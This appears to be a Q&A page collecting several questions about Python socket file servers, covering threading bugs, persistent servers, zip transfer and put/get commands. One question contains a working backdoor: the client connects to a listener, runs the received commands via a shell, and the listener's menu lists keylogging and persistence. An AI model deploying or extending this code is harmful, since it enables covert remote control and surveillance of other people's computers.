I have made a file server on python using sockets and threads. The program is supposed to allow the client to upload and download files from the server.
The program works perfectly when only one thread is running, but when both threads are running the server gives an error when trying to upload a file, and when trying to download the program just stops doing anything after the client enters 'Y' to initiate the download.
Here is the code for the client:
import socket
import os
def DownloadFile(s, host, port):
s.connect((host, port))
s.send(str.encode('DNLD'))
filename = input('Filename? ->')
if filename != 'q':
s.send(str.encode(filename))
data = s.recv(2048).decode('UTF-8')
if data[:6] == 'EXISTS':
filesize = data[6:]
message = input('File Exists, ' + str(filesize) + ' Bytes. Download? (Y/N) ->')
if message == 'Y' or message == 'y':
s.send(str.encode('OK'))
f = open('copy of '+filename, 'wb')
data = s.recv(2048)
totalRecv = len(data)
f.write(data)
while totalRecv < int(filesize):
data = s.recv(2048)
totalRecv += len(data)
f.write(data)
print('{}'.format(round((totalRecv/float(filesize))*100),2)+'% Complete')
print('Download Complete!')
s.close()
else:
print('File does not exist')
s.close()
Main()
def UploadFile(s, host, port):
s.connect((host, port))
s.send(str.encode('UPLD'))
filename = input('Filename? ->')
if os.path.isfile(filename):
filesize = os.path.getsize(filename)
filesize = str(filesize)
s.send(str.encode('EXISTS ' + filename))
s.send(str.encode(filesize))
ready = input('Ready to upload. Proceed? (Y/N) ->')
if ready == 'Y' or ready == 'y':
s.send(str.encode('OK'))
with open(filename, 'rb') as f:
bytesToSend = f.read(2048)
s.send(bytesToSend)
while bytesToSend != '':
bytesToSend = f.read(2048)
s.send(bytesToSend)
s.close()
else:
print('File does not exist.')
s.close()
Main()
def Main():
host = '127.0.0.1'
port = 10000
s = socket.socket()
while True:
choice = int(input('Please enter your choice:\n\n1. Upload a file to the server.\n2. Download a file from the server\n3. Quit.\n\n->'))
if choice == 1:
UploadFile(s, host, port)
break
elif choice == 2:
DownloadFile(s, host, port)
break
elif choice == 3:
s.close()
break
else:
print('Please enter a valid choice.')
if __name__ == '__main__':
Main()
And here is the code for the server:
import socket
import threading
import os
def SendFile(name, s):
check = s.recv(2048).decode('UTF-8')
if check == 'DNLD':
filename = s.recv(2048)
if os.path.isfile(filename):
send = os.path.getsize(filename)
send = str(send)
s.send(str.encode('EXISTS ' + send))
userResponse = s.recv(2048)
userResponse = userResponse.decode('UTF-8')
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(2048)
s.send(bytesToSend)
while bytesToSend != '':
bytesToSend = f.read(2048)
s.send(bytesToSend)
else:
s.send(str.encode('ERR'))
s.close()
def ReceiveFile(name, s):
check = s.recv(2048).decode('UTF-8')
if check == 'UPLD':
data = s.recv(2048).decode('UTF-8')
if data[:6] == 'EXISTS':
filename = data[6:]
data = s.recv(2048).decode('UTF-8')
filesize = data
userResponse = s.recv(2048)
userResponse = userResponse.decode('UTF-8')
if userResponse[:2] == 'OK':
f = open('copy of '+filename, 'wb')
data = s.recv(2048)
totalRecv = len(data)
f.write(data)
while totalRecv < int(filesize):
data = s.recv(2048)
totalRecv += len(data)
f.write(data)
print('Download Complete!')
def Main():
host = '127.0.0.1'
port = 10000
s = socket.socket()
s.bind((host, port))
s.listen(5)
print('Server Started')
while True:
c, addr = s.accept()
print('Client Connected: ' + str(addr))
Send = threading.Thread(target=SendFile, args=('sendThread', c))
Send.start()
Receive = threading.Thread(target=ReceiveFile, args=('retrThread', c))
Receive.start()
s.close()
if __name__ == '__main__':
Main()
If I were to comment out Send.start() or Receive.start() then whatever thread isn't commented out would work perfectly.
Here is the error given in the server when trying to upload a file with both threads running:
Exception in thread Thread-2:
Traceback (most recent call last):
File "C:\Python34\lib\threading.py", line 920, in _bootstrap_inner
self.run()
File "C:\Python34\lib\threading.py", line 868, in run
self._target(*self._args, **self._kwargs)
File "(file location)", line 28, in ReceiveFile
check = s.recv(2048).decode('UTF-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
And here is the output in the client when trying to download a file when both threads are running:
Please enter your choice:
1. Upload a file to the server.
2. Download a file from the server
3. Quit.
->2
Filename? ->cat.jpg
File Exists, 10634 Bytes. Download? (Y/N) ->Y
Nothing else happens after entering Y.
If anyone knows what is going wrong I would really appreciate some help.
That's not the way io and threads work. You have here 2 threads competing from the same input data. One will get first packet be it for it or not, and it is likely that one of the following packet will be eaten by the other thread => the first one will never see it!
You can delegate the processing of a conversation to a thread but to a single one that will call a send or receive function once it will have identified the request.
That is not all. TCP is a stream protocol. Packets can be splitted or re-assembled by any piece along the connection (sender, receiver and any gateway). So you should use delimiters to tell the peer that a name or a command if complete. And good practices recommend to pass the size when sending binary data, here again for the peer to know when the data is complete.
Good luck in your journey is the socket world ;-)
Related
I am tryin to develop a script that works on the client machine sending information to the server and uploading&downloading to/from client machine. However, when I try to upload a file, I see in my server machine that the file is sending the file but the client doesn't receive and shows no error. uploading code worked properly before I implemented into my main code. Sorry if there is misunderstanding in my explanation i am new at stackoverflow.
every help is welcome X
import socket
from socket import *
import subprocess
import json
import os
import tqdm
path = 'C:\\Users\HP PC\Desktop'
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Client:
def __init__(self, ip, port):
self.connection = socket(AF_INET, SOCK_STREAM)
self.connection.connect((ip, port))
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1').strip()
return json.loads(json_data)
except ValueError:
continue
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing working directory to " + path
def down(self):
try:
received = self.connection.recv(BUFFER_SIZE).decode()
filename, filesize = received.split(SEPARATOR)
filename = os.path.basename(filename)
filesize = int(filesize)
progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "wb") as f:
while True:
bytes_read = self.connection.recv(BUFFER_SIZE)
if not bytes_read:
break
f.write(bytes_read)
progress.update(len(bytes_read))
except Exception as e:
print(e)
def run(self):
privilege = subprocess.check_output('whoami', shell=True)
self.connection.send(privilege)
while True:
command = self.reliable_recv()
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
continue
elif command[0] == '/cls':
continue
elif command[0] == 'upload':
self.down()
continue
# elif command[:3] == "cd ":
# try:
# os.chdir(path)
# except OSError as e:
# print(e)
else:
command_result = self.execute_system_command(command)
self.reliable_send(command_result.decode("ISO-8859-1").strip())
my_backdoor = Client('192.168.8.105', 6543)
my_backdoor.run()
Here is the server code:
import json
import os
import socket
import tqdm
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Listener:
def __init__(self, bind_ip, bind_port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((bind_ip, bind_port))
server.listen(0)
print("[*] Listening on ", str(bind_ip))
self.connection, addr = server.accept()
print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
receive = self.connection.recv(1024)
print("[+] This is " + receive.decode('ISO-8859-1'))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode().strip())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1')
return json.loads(json_data)
except ValueError:
continue
def upload(self):
filename = "v.png"
filesize = os.path.getsize(filename)
# send the filename and filesize
self.connection.send(f"{filename}{SEPARATOR}{filesize}".encode())
# start sending the file
progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "rb") as f:
while True:
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE)
if not bytes_read:
# file transmitting is done
break
# we use sendall to assure transimission in
# busy networks
self.connection.sendall(bytes_read)
# update the progress bar
progress.update(len(bytes_read))
def run_command(self):
while True:
command = input(">")
command = command.split(" ")
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
print('''
quit => Quit the sessison
clear => Clear the screen
cd *dirname => Change directory on target machine
upload *filename =>Upload file to target machine
download *filename =>Download file from target machine
key_start =>Start the keylogger
key_dump =>Print the keystrokes target prompted
key_stop =>Stop and self destruct keylogger file
persistance *RegName* *filename =>Persistance in reboot
''')
continue
elif command[:3] == 'cd ':
pass
elif command[0] == 'upload':
self.upload()
continue
elif command[0] == '/cls':
os.system('cls')
continue
self.reliable_send(command)
result = self.reliable_recv()
print(result)
my_listener = Listener('192.168.8.105', 6543)
my_listener.run_command()
it doesnt show any errors and rest of the code is working properly.
Upload and download functions worked properly when I tried to test
but didnt work when i tried to implement into my main code
Whenever the client disconnect, the server will close itself. How can i make the server to run forever ?
What i'm doing
The server let one client to retrieve files with no issues. But the problem is when the client close the program, the server will also closed itself and wouldn't let another client to establish the connection . I had read a few articles about using while loops to make the session alive. Does anyone know how can I do that ?
Server.py
import socket, os, subprocess, shutil, pickle, struct
# Create a Socket ( connect two computers)
def create_socket():
try:
global host
global port
global s
host = ""
port = 9999
s = socket.socket()
except socket.error as msg:
create_socket()
# Binding the socket and listening for connections
def bind_socket():
try:
global host
global port
global s
s.bind((host, port))
s.listen(5)
except socket.error as msg:
bind_socket()
# send file list
def flist(conn):
try:
arr = pickle.dumps(os.listdir())
conn.send(arr)
except:
conn.send(('Error').encode("utf-8"))
# accept file from server
def fdown(filename, conn):
try:
data = conn.recv(1024).decode("utf-8")
if data[:6] == 'EXISTS':
filesize = data[6:]
conn.send("OK".encode("utf-8"))
f = open(filename, 'wb')
data = (conn.recv(1024))
totalRecv = len(data)
f.write(data)
while int(totalRecv) < int(filesize):
data = conn.recv(1024)
totalRecv += len(data)
f.write(data)
f.close()
except:
conn.send(('Error').encode("utf-8"))
# send file
def fup(filename, conn):
if os.path.isfile(filename):
conn.send(str.encode("EXISTS " + str(os.path.getsize(filename))))
filesize = int(os.path.getsize(filename))
userResponse = conn.recv(1024).decode("utf-8")
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
conn.send(bytesToSend)
totalSend = len(bytesToSend)
while int(totalSend) < int(filesize):
bytesToSend = f.read(1024)
totalSend += len(bytesToSend)
conn.send(bytesToSend)
else:
conn.send("ERROR".encode("utf-8"))
# main
def main(s):
while True:
data = (s.recv(1024)).decode("utf-8").split('~')
if data[0] == 'fdown':
fup(data[1], s)
elif data[0] == 'fup':
fdown(data[1], s)
elif data[0] == 'flist':
flist(s)
else:
s.send(".".encode('utf-8'))
# Establish connection with a client (socket must be listening)
def socket_accept():
conn, address = s.accept()
main(conn)
conn.close()
create_socket()
bind_socket()
socket_accept()
You should put accept in the loop, and you may need use a thread to handle read
sample code:
def handle_read(s):
while True:
data = s.recv(1024)
if not data:
#When the client closed, recv will return an empty data
s.close()
break
data = data.decode("utf-8").split('~')
if data[0] == 'fdown':
fup(data[1], s)
elif data[0] == 'fup':
fdown(data[1], s)
elif data[0] == 'flist':
flist(s)
else:
s.send(".".encode('utf-8'))
def socket_accept():
while True:
conn, address = s.accept()
t = threading.Thread(target = handle_read, args=(conn, ))
t.start()
So for some reason this code is not properly working for sending a zip folder from the client to server. on the server side if I use "f = zipfile.ZipFile("platformIO.zip")" I get the error "ValueError: stat: embedded null character in path", and if I use "f = open("platformIO.zip", "wb")" no error is thrown but the received file is corrupt and won't open.
I have read every similar to question to this and cannot find a solution.
Client:
import socket
import time
# Configure wireless connection with server (board on leg)
HOST = "192.168.4.1" # change to server ip address
PORT = 5005 # must be same as server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print("connected")
user_input = "startup"
while True:
if user_input == "startup":
# ask if user wants to send code
user_input = input("Do you want to send new code?: (y/n)")
if user_input == "y":
user_input = "send code"
elif user_input == "n":
user_input = input("Would you like to collect data?: (y/n)")
if user_input == "y":
user_input = "receive data"
else:
user_input = "startup"
else:
user_input == "startup"
elif user_input == "send code":
st = "sending code"
s.send(st.encode())
file = "platformIO.zip"
try:
with open(file, "rb") as f:
print("sending file...")
data = f.read()
s.sendall(data)
print("finished sending")
st = "finished"
s.send(st.encode())
user_input = "startup"
except:
print("Failed transfering <platformIO.zip>, make sure it exists")
st = "failed"
s.send(st.encode())
elif input =="receive data":
print("feature not yet implemented")
user_input == "startup"
# delay
time.sleep(0.1)
Server:
import socket
import time
import zipfile
import os
# create server
HOST = "192.168.4.1"
PORT = 5005
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("socket created")
# managing error exception
try:
s.bind((HOST,PORT))
except socket.error:
print("bind Failed")
s.listen(1)
print("Socket awaiting mesesages")
(conn, addr) = s.accept()
print("connected")
# awaiting message
msg = "startup"
while True:
if msg == "startup":
# receive data from controller
msg = conn.recv(4096)
print(str(msg, 'utf-8'))
elif str(msg, 'utf-8') == "sending code":
f = zipfile.ZipFile("platformIO.zip", "w")
#f = open("platformIO.zip", "wb")
while True:
data = conn.recv(4096)
print(data)
if not data:
break
f.write(data)
print("file received")
msg = "startup"
time.sleep(.1)
conn.close()
edit: if I use f = open("platformIO.zip", "wb") and add s.close() inside the writing while loop of the server, I can receive the zip successfully, but then the connection closes and I can't open the zip file until I close the program
f = open("platformIO.zip", "wb")
while True:
data = conn.recv(4096)
print(data)
if not data:
break
f.write(data)
s.close()
Started to implement this project in C++, however I figured Python would be a better choice going forward for x-platform.
Goal here is to create a simple file server and then create a client. Client should be able to upload files to the server and download files from the server.
My code for the client is:
import socket
def Main():
host = '127.0.0.1'
port = 5000
s = socket.socket()
s.connect((host,port))
choice = raw_input("Upload or Download? (u/d):")
if choice == 'd':
filename = raw_input("File to Download? (q to quit): ")
if filename != 'q':
s.send(filename)
data = s.recv(1024)
if data[:6] == "EXISTS":
filesize = long(data[6:])
message = raw_input("File found on the server!," +str(filesize)+"bytes, continue with download? y/n:")
if message == "y":
s.send('OK')
f = open('new_'+filename, 'wb')
data = s.recv(1024)
totalRecv = len(data)
f.write(data)
while totalRecv < filesize:
data = s.recv(1024)
totalRecv += len(data)
f.write(data)
print ("Percentage Completed: "+"{0:.2f}".format((totalRecv/float(filesize))*100))
print ("File has been Downloaded!")
else:
print ("File doesnt exist!")
else:
filename = raw_input("File to Upload? (q to quit): ")
# if filename != 'q':
print ("Upload Function Coming Soon")
s.close()
if __name__ == '__main__':
Main()
The code for the server is:
import socket
import threading
import os
def RetrFile(name, sock):
filename = sock.recv(1024)
if os.path.isfile(filename):
sock.send("EXISTS" + str(os.path.getsize(filename)))
userResponse = sock.recv(1024)
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
sock.send(bytesToSend)
while bytesToSend != "":
bytesToSend = f.read(1024)
sock.send(bytesToSend)
else:
sock.send("ERR")
sock.close()
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(5)
print ("Server Started")
while True:
c, addr = s.accept()
print ("Client Connected:") + str(addr) + ">"
t = threading.Thread(target=RetrFile, args=("retrThread", c))
t.start()
s.close()
if __name__ == '__main__':
Main()
I have it just fine for the download of the file, and thinking about it, I should be able to just reverse process for the upload portion of the client (instead of fetch the download, I basically copy the server part to perform the upload)...however I just cant seem to wrap my head around how to do so. I'm not worried at this point over the hard coded port etc---will fix that later, however does anyone have any suggestions going forward with this?
I need to emphasize that I am using python < v3 (I know--its old) however its a program limitation that I need to adhere to (hence the raw_input() v. input())
I'm trying to send and receive files through a TCP socket. When user types put abc.txt, abc.txt should be copied to the server.
When user types get def.txt, def.txt should be downloaded to the user computer. (Actually I have to implement 2 more methods - ls to list all files in the client directory and lls to list all files in the server, but I haven't done it yet.)
Here's the code
Server
import socket
import sys
HOST = 'localhost'
PORT = 3820
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind((HOST, PORT))
socket.listen(1)
while (1):
conn, addr = socket.accept()
print 'New client connected ..'
reqCommand = conn.recv(1024)
print 'Client> %s' %(reqCommand)
if (reqCommand == 'quit'):
break
#elif (reqCommand == lls):
#list file in server directory
else:
string = reqCommand.split(' ', 1) #in case of 'put' and 'get' method
reqFile = string[1]
if (string[0] == 'put'):
with open(reqFile, 'wb') as file_to_write:
while True:
data = conn.recv(1024)
if not data:
break
file_to_write.write(data)
file_to_write.close()
break
print 'Receive Successful'
elif (string[0] == 'get'):
with open(reqFile, 'rb') as file_to_send:
for data in file_to_send:
conn.sendall(data)
print 'Send Successful'
conn.close()
socket.close()
Client
import socket
import sys
HOST = 'localhost' #server name goes in here
PORT = 3820
def put(commandName):
socket.send(commandName)
string = commandName.split(' ', 1)
inputFile = string[1]
with open(inputFile, 'rb') as file_to_send:
for data in file_to_send:
socket.sendall(data)
print 'PUT Successful'
return
def get(commandName):
socket.send(commandName)
string = commandName.split(' ', 1)
inputFile = string[1]
with open(inputFile, 'wb') as file_to_write:
while True:
data = socket.recv(1024)
#print data
if not data:
break
print data
file_to_write.write(data)
file_to_write.close()
break
print 'GET Successful'
return
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((HOST,PORT))
msg = raw_input('Enter your name: ')
while(1):
print 'Instruction'
print '"put [filename]" to send the file the server '
print '"get [filename]" to download the file from the server '
print '"ls" to list all files in this directory'
print '"lls" to list all files in the server'
print '"quit" to exit'
sys.stdout.write ('%s> ' %msg)
inputCommand = sys.stdin.readline().strip()
if (inputCommand == 'quit'):
socket.send('quit')
break
# elif (inputCommand == 'ls')
# elif (inputCommand == 'lls')
else:
string = inputCommand.split(' ', 1)
if (string[0] == 'put'):
put(inputCommand)
elif (string[0] == 'get'):
get(inputCommand)
socket.close()
There are several problems that I couldn't fix.
The program run correctly only on the first time (both 'put' and
'get' method). After that, All commands from the client can't be
sent to the server.
The 'get' method doesn't work for an image/photo file.
First problem is occurring because after handling one command, server is closing the connection.
conn.close()
Second problem is occurring because you are not reading all the data from the socket in client. At the end of while loop you have a "break" statement, due to which client is closing the socket just after reading 1024 bytes. And when server tries to send data on this close socket, its results in error on the server side.
while True:
data = socket1.recv(1024)
# print data
if not data:
break
# print data
file_to_write.write(data)
file_to_write.close()
break
There are two ways to fix this first issue.
Change the client so that for each command it creates a new connection & sends command to the server.
Change the server to handle multiple commands over the same connection.
Following code is the changed client to demonstrate the first way to fix the first issue. It also fixes the second issue.
import socket
import sys
HOST = 'localhost' # server name goes in here
PORT = 3820
def put(commandName):
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket1.connect((HOST, PORT))
socket1.send(commandName)
string = commandName.split(' ', 1)
inputFile = string[1]
with open(inputFile, 'rb') as file_to_send:
for data in file_to_send:
socket1.sendall(data)
print 'PUT Successful'
socket1.close()
return
def get(commandName):
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket1.connect((HOST, PORT))
socket1.send(commandName)
string = commandName.split(' ', 1)
inputFile = string[1]
with open(inputFile, 'wb') as file_to_write:
while True:
data = socket1.recv(1024)
# print data
if not data:
break
# print data
file_to_write.write(data)
file_to_write.close()
print 'GET Successful'
socket1.close()
return
msg = raw_input('Enter your name: ')
while(1):
print 'Instruction'
print '"put [filename]" to send the file the server '
print '"get [filename]" to download the file from the server '
print '"ls" to list all files in this directory'
print '"lls" to list all files in the server'
print '"quit" to exit'
sys.stdout.write('%s> ' % msg)
inputCommand = sys.stdin.readline().strip()
if (inputCommand == 'quit'):
socket.send('quit')
break
# elif (inputCommand == 'ls')
# elif (inputCommand == 'lls')
else:
string = inputCommand.split(' ', 1)
if (string[0] == 'put'):
put(inputCommand)
elif (string[0] == 'get'):
get(inputCommand)